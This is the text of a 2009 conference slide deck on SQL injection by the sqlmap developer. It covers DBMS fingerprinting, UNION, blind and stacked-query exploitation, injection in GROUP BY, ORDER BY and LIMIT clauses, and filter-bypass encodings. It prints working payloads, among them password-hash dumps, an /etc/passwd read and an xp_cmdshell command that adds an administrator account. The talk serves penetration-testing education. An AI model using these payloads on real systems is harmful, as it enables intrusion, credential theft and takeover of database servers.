SQL injection: Not Only AND 1=1 (updated)

SQL injection: Not Only AND 1=1
Bernardo Damele Assumpção Guimarães

Who I am


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Penetration tester / security researcher
Portcullis Computer Security Ltd

Open source projects
sqlmap lead developer
MySQL UDF repository developer
Metasploit contributor
2nd Digital Security Forum, Lisbon (Portugal) June 27, 2009 2

SQL injection definition

SQL injection attacks are a type of injection attack, in
which SQL commands are injected into data-plane input
in order to affect the execution of predefined SQL
statements

It is a common threat in web applications that lack of
proper sanitization on user-supplied input used in SQL
queries

It does not affect only web applications!

A long list of resources can be found on my delicious
profile, http://delicious.com/inquis/sqlinjection


How does it work?

Detection of a possible SQL injection flaw

Back-end database management system
fingerprint

SQL injection vulnerability can lead to:
DBMS data exfiltration and manipulation
File system read and write access
Operating system control


sqlmap – http://sqlmap.sourceforge.net

Open source command-line automatic tool

Detect and exploit SQL injection flaws in web
applications

Developed in Python since July 2006

Released under GPLv2


sqlmap key features

Full support for MySQL, Oracle, PostgreSQL and
Microsoft SQL Server

Three SQL injection techniques:
Boolean-based blind
UNION query
Batched (stacked) queries

Perform an extensive back-end DBMS fingerprint

Enumerate users, password hashes, privileges,
databases, tables, columns and their data-type


sqlmap key features

Dump entire or user specified database table entries

Run own SQL statements

Read either text or binary files from the file system

Execute arbitrary commands on the operating system

Establish an out-of-band stateful connection between
the attacker box and the database server


Database management system fingerprint

sqlmap implements up to four techniques:

Inband error messages

Banner (version(), @@version, …) parsing

SQL dialect

Specific functions static output comparison



Example of basic back-end DBMS fingerprint on
Oracle 10g Express Edition:

Two techniques:
Specific variables
Specific functions static output comparison

The two possible queries to fingerprint it are:
AND ROWNUM=ROWNUM
AND LENGTH(SYSDATE)=LENGTH(SYSDATE)



Example of extensive back-end DBMS fingerprint
on Microsoft SQL Server 2005:

Three techniques:

Active fingerprint: Microsoft SQL Server 2005
Banner parsing fingerprint: Microsoft SQL Server 2005
Service Pack 0 version 9.00.1399
HTML error message fingerprint: Microsoft SQL Server

Active fingerprint refers to specific functions’ static
output comparison in this example



Examples of SQL dialect fingerprint:

On MySQL:

/*!50067 AND 47=47 */

On PostgreSQL:

AND 82::int=82


More on fingerprint

Fingerprinting is a key step in penetration
testing
It is not only about back-end DBMS software

There are techniques and tools to fingerprint the
web server, the web application technology and
their underlying system

What about the back-end DBMS underlying
operating system?

More on fingerprint

sqlmap can fingerprint them without making
extra requests:

Web/application server and web application
technology: by parsing the HTTP response
headers
Known basic technique

Back-end DBMS operating system: by parsing the
DBMS banner
Over-looked technique

SQL statement syntax

Identify the web application query syntax is
mandatory

It is needed to correctly exploit the flaw

Example:

"SELECT id, user FROM users WHERE id LIKE
((('%" . $_GET['id'] . "%'))) LIMIT 0, 1"



Possible exploitation vector:

page.php?id=1'))) AND ((('RaNd' LIKE 'RaNd

For a boolean-based blind SQL injection exploit:

1'))) AND ORD(MID((SQL query),
Nth SQL query output character, 1)) >
Bisection algorithm number
AND ((('RaNd' LIKE 'RaNd



For a UNION query SQL injection exploit:

1'))) UNION ALL SELECT NULL,
Concatenated SQL query#

For a batched query SQL injection exploit:

1'))); SQL query;#


Bypass number of columns limitation

You’ve got a SQL injection point vulnerable to
UNION query technique detected by:

ORDER BY clause brute-forcing
NULL brute-forcing
Sequential number brute-forcing

The number of columns in the SELECT
statement is fewer than the number of columns
that you want to inject


Concatenate your SELECT statement columns
with random delimiters in a single output

Example:
The original SELECT statement has only one
column
SELECT col FROM tbl WHERE id=1

Back-end DBMS is PostgreSQL 8.3

We want to retrieve users’ password hashes


SELECT usename, passwd FROM pg_shadow

↓
UNION ALL SELECT,
CHR(109)||CHR(107)||CHR(100)||CHR(83)||CHR
(68)||CHR(111)||COALESCE(CAST(usename AS
CHARACTER(10000)),
CHR(32))||CHR(80)||CHR(121)||CHR(80)||CHR(
121)||CHR(66)||CHR(109)||COALESCE(CAST(pas
swd AS CHARACTER(10000)),
CHR(32))||CHR(104)||CHR(108)||CHR(74)||CHR
(103)||CHR(107)||CHR(90), FROM pg_shadow--


Single entry UNION query SQL injection

You’ve got a parameter vulnerable to UNION
query SQL injection

The page displays only the query’s first entry
output

Change the parameter value to its negative
value or append a false AND condition to the
original parameter value
Cause the original query to produce no output


Inspect and unpack the SQL injection statement:

Calculate its output number of entries

Limit it to return one entry at a time

Repeat the previous action N times where N
is the number of output entries



Example on MySQL 4.1 to enumerate the list of
databases:

SELECT db FROM mysql.db

↓
SELECT … WHERE id=1 AND 3=2 UNION ALL SELECT
CONCAT(CHAR(100,84,71,69,87,98),IFNULL(CAST(db
AS CHAR(10000)), CHAR(32)),
CHAR(65,83,118,81,87,116)) FROM mysql.db LIMIT
Nth, 1# AND 6972=6972



Another technique consists of retrieving
entries as a single string

Example on MySQL 5.0:
SELECT user, password FROM mysql.user

↓
SELECT GROUP_CONCAT(CONCAT(user, 'RaND',
password)) FROM mysql.user

Getting a SQL shell

sqlmap has options to enumerate / dump
different types of data from the back-end DBMS

It also allows the user to run custom SQL
queries

It inspects the provided statement:
SELECT: it goes blind or UNION query to retrieve
the output
DDL, DML, etc: it goes batched query to run it

SQL injection: Not only WHERE clause

Most of the SQL injections occur within the
WHERE clause, but GROUP BY, ORDER BY and
LIMIT can also be affected

SQL injection within these clauses can be
exploited to perform a blind injection or, in some
cases, a UNION query injection

In all cases batched query injection is possible


SQL injection in GROUP BY clause


"SELECT id, name FROM users GROUP BY "
. $_GET['id']

↓
SELECT id, name FROM users GROUP BY 1,
(SELECT (CASE WHEN (condition) THEN 1 ELSE
1*(SELECT table_name FROM
information_schema.tables) END))


SQL injection in ORDER BY clause

Example on PostgreSQL 8.2:

"SELECT id, name FROM users ORDER BY "
. $_GET['id']

↓
SELECT id, name FROM users ORDER BY 1,
(SELECT (CASE WHEN (condition) THEN 1 ELSE
1/0 END))


SQL injection in LIMIT clause


"SELECT id, name FROM users LIMIT 0, "
. $_GET['id']

↓
SELECT id, name FROM users LIMIT 0, 1
UNION ALL SELECT (CASE WHEN (condition)
THEN 1 ELSE 1*(SELECT table_name FROM
information_schema.tables) END), NULL


SQL injection payloads to bypass filters

There are numerous techniques to bypass:

Web application language security settings

Web application firewalls

Intrusion [Detection|Prevention] Systems

Web server security settings

These techniques can be combined

PHP Magic Quotes misuse: Bypass

You’ve a SQL injection point in a GET, POST
parameter or Cookie value

Web application language is PHP
magic_quotes_gpc setting is On or
addslashes() is used within the source code

Back-end DBMS is either Microsoft SQL Server or
Oracle
Their escaping character for single quote is single
quote



Original statement:
"SELECT name, surname FROM users WHERE
name='" . $_GET['name'] . "'"

Example of a successful exploit:
foobar' OR 10>4--

Query passed by PHP to the back-end DBMS:
SELECT name, surname FROM users WHERE
name='foobar' OR 10>4--'



For a UNION query SQL injection exploit:
name='foobar' UNION ALL SELECT NAME,
PASSWORD FROM SYS.USER$--'

For a boolean-based blind SQL injection exploit:
name='foobar' OR ASCII(SUBSTR((SQL
query), Nth SQL query output char, 1))
> Bisection algorithm number--'


PHP Magic Quotes bypass: Avoid single quotes

Example on MySQL:
LOAD_FILE('/etc/passwd')

↓
LOAD_FILE(CHAR(47,101,116,99,47,112,97,
115,115,119,100))
or
LOAD_FILE(0x2f6574632f706173737764)

It is not limited to bypass only PHP Magic Quotes


Bypass with percentage char on ASP

ASP ignores % if not followed by a valid pair of
characters

Example on ASP with back-end DBMS
PostgreSQL:

SELECT pg_sleep(3)

↓
S%ELEC%T %p%g_sle%ep(%3)


Bypass by hex-encoding the SQL statement

Example on Microsoft SQL Server:
exec master..xp_cmdshell 'NET USER myuser
mypass /ADD & NET LOCALGROUP
Administrators myuser /ADD'

↓
DECLARE @rand varchar(8000) SET @rand =
0x65786563206d61737465722e2e78705f636d6473
68656c6c20274e45542055534552206d7975736572
206d7970617373202f4144442026204e4554204c4f
43414c47524f55502041646d696e6973747261746f
7273206d7975736572202f41444427; EXEC
(@rand)


Bypass by comments as separators

Example on MySQL:

SELECT user, password FROM mysql.user

↓
SELECT/*R_aNd*/user/*rA.Nd*/,/*Ran|D
*/password/*r+anD*/FROM/*rAn,D*/mysq
l.user


Bypass by random mixed case payload

Example on Oracle 10g:

SELECT banner FROM v$version WHERE
ROWNUM=1

↓
SeLEcT BaNneR FroM v$vERsIon WhERe
ROwNUm=1


Bypass by random URI encoded payload

Example on PostgreSQL:

SELECT schemaname FROM pg_tables

↓
%53E%4c%45%43T%20%73%63h%65%6d%61%6e
a%6de%20%46%52O%4d%20%70g%5f%74a%62%
6ce%73


SQL injection to operating system full control

We’ve seen how to detect and exploit different
SQL injection flaws, retrieve and manipulate
data on the DBMS and bypass web application
filters… what else?

Check my recent research about compromising
the underlying file system and the operating
system via SQL injection on
http://tinyurl.com/sqlmap1


Credits

Chip Andrews, www.sqlsecurity.com

Alberto Revelli, sqlninja.sourceforge.net

Sumit Siddharth, www.notsosecure.com

Alessandro Tanasi, lab.lonerunners.net

Ralf Braga, www.linkedin.com/in/ralfbraga

Questions?

bernardo.damele@gmail.com
http://bernardodamele.blogspot.com
http://sqlmap.sourceforge.net

Thanks for your attention!

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